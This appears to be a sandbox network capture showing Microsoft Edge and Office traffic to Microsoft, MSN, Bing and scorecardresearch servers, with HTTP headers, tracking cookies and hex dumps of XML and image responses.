2024-11-25 17:28:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: c7c394f4-234e-42d9-9911-6b8f9e4636f7 PPServer: PPV: 30 H: PH1PEPF00011E70 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:43 GMT Connection: close Content-Length: 11389
2024-11-25 17:28:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49820	20.110.205.119	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:44 UTC	1175	OUT	GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
2024-11-25 17:28:45 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&RedC=c.msn.com&MXFR=1C9027A36A1F6A1B109A32E16B066B17 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1C9027A36A1F6A1B109A32E16B066B17; domain=.msn.com; expires=Sat, 20-Dec-2025 17:28:44 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 25 Nov 2024 17:28:44 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49824	18.238.49.74	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:44 UTC	925	OUT	GET /b?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:44 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 17:28:44 GMT Location: /b2?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=14D0db3125068df9c7043011732555724; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=14D0db3125068df9c7043011732555724; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2e60669cf4a63082b5e4935391509354.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: vJbtGTzZRqxjn4RUYz_AR1zGoPzhf2nPvgjNxPLjG5w2OB27ysMM-w==

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-174c587ffdfcj798hC1TEB9bq400000006cg00000000gudc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:45 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49819	13.107.21.237	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	1269	OUT	GET /c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&RedC=c.msn.com&MXFR=1C9027A36A1F6A1B109A32E16B066B17 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 19BF69B62E082C50E46300B6F614253A7F2C4DF02D9E783ED276755956B6F196 Sec-MS-GEC-Version: 1-117.0.2045.47 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:45 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&MUID=1C9027A36A1F6A1B109A32E16B066B17 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=1C9027A36A1F6A1B109A32E16B066B17; domain=.bing.com; expires=Sat, 20-Dec-2025 17:28:45 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Mon, 02-Dec-2024 17:28:45 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=1C9027A36A1F6A1B109A32E16B066B17; domain=c.bing.com; expires=Sat, 20-Dec-2025 17:28:45 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=1C9027A36A1F6A1B109A32E16B066B17; domain=c.bing.com; expires=Sat, 20-Dec-2025 17:28:45 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 612C6598F82A414AB99CE98C5335B64E Ref B: EWR30EDGE1420 Ref C: 2024-11-25T17:28:45Z Date: Mon, 25 Nov 2024 17:28:44 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49825	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	634	OUT	GET /tenant/amp/entityid/BB1msMIw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:45 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 00:49:04 GMT X-Datacenter: eastap X-ActivityId: c9b141fd-776b-47be-b804-976348704464 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msMIw X-Source-Length: 71866 Content-Length: 71866 Cache-Control: public, max-age=328949 Expires: Fri, 29 Nov 2024 12:51:14 GMT Date: Mon, 25 Nov 2024 17:28:45 GMT Connection: close
2024-11-25 17:28:45 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 17:28:45 UTC	16384	IN	Data Raw: 6e 89 f7 58 76 df 84 c3 a3 fc 48 34 e6 0a 8d 0d f1 70 ec bd 90 d2 09 06 ad 18 e4 64 6f 06 6a 07 55 ce 61 d0 67 41 42 84 71 34 99 ca c4 a7 00 d0 f4 ec 4e 89 a2 1d b2 5b 7e 37 f6 03 3e 0b 31 ce db 70 2c 25 8e 69 04 10 48 2d 39 8e 49 5e 74 f7 9f c2 ad 06 05 29 7f 49 b7 1b ac 86 b8 ad c9 9b d6 aa 91 27 4a 40 f5 e7 75 9b 79 a4 68 ac 17 38 8c f5 3a a2 a1 07 cd e6 80 a0 98 cb 29 f9 22 b8 7e a8 13 5a 1e 1a e5 3c 10 c5 89 bf 6c 94 0c 34 ae 86 63 f7 45 69 c3 5f b9 f6 57 6f 6e 41 3a 65 19 fa 2a 22 48 35 1d ad f9 5a 0d 61 00 f1 35 3d 09 06 92 b5 1d 7a 0f 71 c5 34 02 47 d3 04 03 1a 5a d3 15 39 8c d5 6e 16 83 68 81 f5 0b 9e 07 4f c2 a8 18 68 e7 5e 94 56 43 ad a1 a0 9f d9 67 09 30 38 cc 01 84 47 10 60 a7 0e 38 63 cb 07 2b 98 ef 40 02 04 91 43 db 82 34 43 44 89 3e c1 2c Data Ascii: nXvH4pdojUagABq4N[~7>1p,%iH-9I^t)I'J@uyh8:)"~Z<l4cEi_WonA:e*"H5Za5=zq4GZ9nhOh^VCg08G`8c+@C4CD>,
2024-11-25 17:28:45 UTC	2969	IN	Data Raw: e2 0d f4 41 77 87 d8 da 10 d0 48 68 fa 8c d3 ba b9 ad cb e8 ce 3c 77 1c 3b 6e 2e 90 64 5f b9 71 8d b2 e9 37 16 02 ff 00 b9 5d 3b c0 ef ee db 0b 00 a7 e4 ae a6 96 34 50 17 46 93 15 5a d4 c7 93 83 e1 40 39 9d 47 bd 14 c0 5c 09 a1 13 ef c5 74 6f 39 af 88 10 43 b4 15 ec 17 6e dc 60 6c 46 b2 22 b5 ce 91 0b 5a 98 f3 1a d2 d0 09 70 93 97 3b 51 73 90 e2 e9 1f 8a 85 ea ef ed 16 56 92 6b 48 17 5c c1 a6 24 88 1e a6 56 99 c4 da 32 47 a1 1a f3 0b b8 6c 97 80 4c c0 fd 22 46 b7 d6 7a 28 cd b8 00 c3 45 eb 6e c5 75 6d c9 fd 60 41 22 66 91 e8 16 75 a9 1c ff 00 0b 67 6f a1 1e 6a f5 a6 aa 6f 01 f0 f0 45 aa 09 d3 97 3b c5 93 6f 12 66 25 c3 5e 3c 42 8f c4 f8 26 c7 fe e8 a4 99 c9 1a 78 4e 6c 38 f7 58 f4 28 6f 35 cf 8d 69 c9 75 ee 31 a5 c4 8a 57 fe d4 a3 6c 55 c0 c0 11 70 60 f0 Data Ascii: AwHh<w;n.d_q7];4PFZ@9G\to9Cn`lF"Zp;QsVkH\$V2GlL"Fz(Enum`A"fugojoE;of%^<B&xNl8X(o5iu1WlUp`
2024-11-25 17:28:45 UTC	16384	IN	Data Raw: 19 88 4f 92 5d 58 be 1c ef 00 59 03 e3 39 db a0 b0 c6 b0 e7 0f 36 66 eb c0 66 f0 6b 43 28 e9 d2 c4 0b c8 8f 79 5c 9b db cc 63 69 53 69 ed 31 c9 70 bc 5d a5 7d c3 ff 00 91 6e e3 2a d6 9c 37 02 83 51 48 1f 65 e6 78 8d f6 ba 70 97 46 b3 78 d0 2f 97 da f1 06 1b 2e 74 4c 91 5d 33 d3 92 ed 7e f0 75 40 20 12 7c b2 7a 4e 67 d9 5f 03 c9 eb 6e 78 b6 6d 6d 7d 2d 73 b0 8b fd ab dc b8 36 a4 8f 33 dc 35 b7 7a 00 da 3b ce 6e 12 32 b4 01 d5 77 bf 6b 06 cb b1 3c e5 48 f7 9b 85 64 c2 b9 43 43 b7 40 00 9c 59 50 f2 c9 7a 7b 8c f8 2d c2 44 38 91 30 44 56 d5 af d9 70 6c 6c 6e 90 0d 71 0d 35 8e 66 81 7a 0d da 73 87 9d c2 09 81 02 c3 b7 14 a9 23 6c f8 67 f8 9d cc 3b 61 ef 71 9a 7d 56 f7 42 dc da f8 7b 85 ae 6c c0 31 a1 9c e9 97 72 3b 1e 76 81 c0 62 01 f3 4e 1a 1e 3c 56 63 fe 37 Data Ascii: O]XY96ffkC(y\ciSi1p]}n*7QHexpFx/.tL]3~u@ \|zNg_nxmm}-s635z;n2wk<HdCC@YPz{-D80DVpllnq5fzs#lg;aq}VB{l1r;vbN<Vc7
2024-11-25 17:28:45 UTC	16384	IN	Data Raw: c5 50 b0 ad 8a de 8a fe fc 02 83 5d 2d 17 9d b9 fc af f1 9b 2f 2c dc f1 de 11 8e 17 0e df db 91 ff 00 75 17 0f 88 fe e3 fe 13 c3 34 39 ff 00 c8 78 73 c3 6d df 15 c7 a6 d0 77 ba d7 8f 2b ed 7e c9 e5 27 bc 7b eb 2f cc 3c 67 fd 41 f0 5b 72 df 0b e1 b7 b7 cf f9 ee 11 b2 d3 c8 79 dc 7a 80 be 37 c5 7f 7e 7f 33 be e9 d9 f8 1e 19 ba 35 9b 61 e7 ab b7 71 7b 00 bb 4f a7 ee 5f 6c f9 d7 2b de ed cf 7d f9 3f a0 6f a2 f3 bc 47 f2 5e 03 c2 4f c7 f1 7e 1b 64 e4 fd d6 03 ff 00 8c cf b2 fe 6b f1 bf cf ff 00 2d fc 80 c3 e2 3c 66 f3 db 33 81 a4 6d b7 ff 00 1d b0 d0 7a af 0f 8a ed c7 e9 7f 77 2f b4 72 bf 53 f0 e3 f7 7f 4c bb fb af f8 06 40 fe bf 68 cd 28 dd d7 77 33 dd 72 ef 7f 79 7f 03 b1 4f ea 8e ef ff 00 ca da dc 78 f5 c2 07 ba fe 70 51 6f f2 bc 3e 3c bf 0f e8 c7 e6 79 fc Data Ascii: P]-/,u49xsmw+~'{/<gA[ryz7~35aq{O_l+}?oG^O~dk-<f3mzw/rSL@h(w3ryOxpQo><y
2024-11-25 17:28:45 UTC	3880	IN	Data Raw: b8 79 f3 44 d7 41 dc 71 53 e2 15 cf 82 35 29 e9 9a 1a 27 c4 24 a9 8d b9 4f 4b 24 a0 52 88 6a c8 3a 2d 00 a8 61 45 50 38 32 aa a1 32 aa 91 c1 62 21 54 4b aa 05 09 e1 58 ba 95 50 c3 40 cd 44 a2 4a a4 1e 2a 29 a6 14 37 50 15 68 83 28 4a b6 48 81 f1 2b 42 92 25 53 24 a1 82 47 15 46 10 84 3a a6 b2 8a b2 a6 8b 4a d7 54 6b a9 d1 48 2b 21 87 8e 29 b0 c2 58 28 a2 ba a9 aa 58 95 62 29 08 98 42 26 18 85 9d 5c 07 01 c9 30 6f 44 61 cd 3e 15 9b 5a c0 b0 9b 2b 84 84 f0 73 59 65 71 31 66 9a 4c 59 29 82 96 51 4e 00 bc 04 58 42 09 eb a2 8a 24 2d 11 54 29 54 3f 8a 07 2d 4b 87 25 b1 83 c1 30 93 ea a2 b4 42 c4 f3 56 45 8f a2 19 7f 04 41 6e b4 0d 68 90 3b 24 17 3f 12 1a ea 21 b5 a8 5c e7 82 1c ad 26 cb 4c f5 36 15 c5 bf b7 fa 85 d7 78 30 a1 6e 2d 39 2d 4b 89 8f 33 6b 7c 8f 2b Data Ascii: yDAqS5)'$OK$Rj:-aEP822b!TKXP@DJ*)7Ph(JH+B%S$GF:JTkH+!)X(Xb)B&\0oDa>Z+sYeq1fLY)QNXB$-T)T?-K%0BVEAnh;$?!\&L6x0n-9-K3k\|+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49851	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:45 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c5eca787-101e-0073-7a3b-3f18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172845Z-15b8b599d88hd9g7hC1TEBp75c000000063000000000tc7r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:45 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
